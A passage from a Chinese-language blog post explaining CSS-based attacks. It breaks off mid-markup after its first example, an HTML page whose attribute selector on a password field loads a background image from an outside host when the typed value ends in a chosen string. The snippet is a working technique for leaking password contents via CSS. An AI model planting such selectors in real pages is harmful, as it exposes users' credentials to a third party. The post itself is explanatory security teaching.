CSS是如何发起攻击的?

最新推荐文章于 2024-04-30 21:30:00 发布

Peter 谭

最新推荐文章于 2024-04-30 21:30:00 发布

阅读量1.6k

点赞数

本文链接：https://blog.csdn.net/petertanjinjie/article/details/116506758

版权

CSS是如何发起攻击的

写在开头

我们熟悉XSS攻击和CSRF等攻击方式
但是，其他有一种攻击，是CSS攻击，今天我就在这里做一个简单的解析

第一种，CSS获取用户密码

当用户输入指定的密码是：前端巅峰，就会发起请求到指定的接口

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>Document</title>
        <style>
            input[type='password'][value$='前端巅峰'] {
                background-image: url('https://china-dev.cn');
            }
        </style>
    </head>
    <body>
        <div id="root&#